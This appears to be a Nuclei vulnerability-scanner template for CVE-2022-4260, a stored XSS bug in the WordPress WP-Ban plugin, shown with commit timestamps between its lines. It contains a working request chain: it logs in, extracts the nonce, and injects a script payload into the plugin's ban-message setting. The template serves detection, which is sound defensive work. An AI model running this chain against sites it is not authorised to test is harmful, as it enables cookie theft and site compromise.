2022-12-26 00:32:40 +00:00
id : CVE-2022-4260
info :
2023-01-16 17:41:15 +00:00
name : WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting
2022-12-26 00:32:40 +00:00
author : Hardik-Solanki
2023-02-26 13:23:33 +00:00
severity : medium
2022-12-26 00:32:40 +00:00
description : |
2023-01-16 17:41:15 +00:00
WordPress WP-Ban plugin before 1.69.1 contains a stored cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, which can allow high-privilege users to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be exploited even when the unfiltered_html capability is disallowed, for example in multisite setup.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 1.69.1
2022-12-26 00:32:40 +00:00
reference :
- https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260
- https://drive.google.com/file/d/11nQ21cQ9irajYqNqsQtNrLJOkeRcwCXn/view?usp=drivesdk
classification :
2023-02-26 13:23:33 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score : 4.8
2022-12-26 00:32:40 +00:00
cve-id : CVE-2022-4260
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00078
2023-11-05 22:23:39 +00:00
epss-percentile : 0.32655
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wp-ban_project:wp-ban:*:*:*:*:*:wordpress:*:*
2022-12-26 00:32:40 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : wp-ban_project
product : wp-ban
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-03-23 12:51:43 +00:00
tags : cve2022,wp-plugin,xss,wordpress,wpscan,wp,authenticated,cve,wp-ban
2022-12-26 00:32:40 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-26 00:32:40 +00:00
- raw :
- |
2022-12-27 16:46:37 +00:00
POST /wp-login.php HTTP/1.1
2022-12-26 00:32:40 +00:00
Host : {{Hostname}}
Origin : {{RootURL}}
2022-12-27 16:46:37 +00:00
Content-Type : application/x-www-form-urlencoded
2022-12-26 00:32:40 +00:00
Cookie : wordpress_test_cookie=WP%20Cookie%20check
2022-12-27 16:46:37 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET / HTTP/1.1
2022-12-26 00:32:40 +00:00
Host : {{Hostname}}
2022-12-27 16:46:37 +00:00
- |
POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1
Host : {{Hostname}}
_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes
- |
GET / HTTP/1.1
Host : {{Hostname}}
Referer : XSS
cookie-reuse : true
req-condition : true
2023-07-11 19:49:27 +00:00
host-redirects : true
max-redirects : 2
2022-12-26 00:32:40 +00:00
matchers :
2022-12-27 16:46:37 +00:00
- type : dsl
dsl :
- 'contains(body_4, "<script>alert(document.domain);</script>")'
- 'contains(content_type_4, "text/html")'
- 'status_code_4 == 200'
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
- '_wpnonce=([0-9a-z]+)'
internal : true
2023-07-11 19:49:27 +00:00
part : body
2023-11-05 22:23:39 +00:00
# digest: 4a0a0047304502202fd7a5ed8354fa8da05123b28f67332c3b53cbf4e307709076eb1c8d41398032022100ce2fd1261b9f3ab344aa11831b51c0ef36fbe5424a24ba79bfb1e4e5a7919591:922c64590222798bb761d5b6d8e72950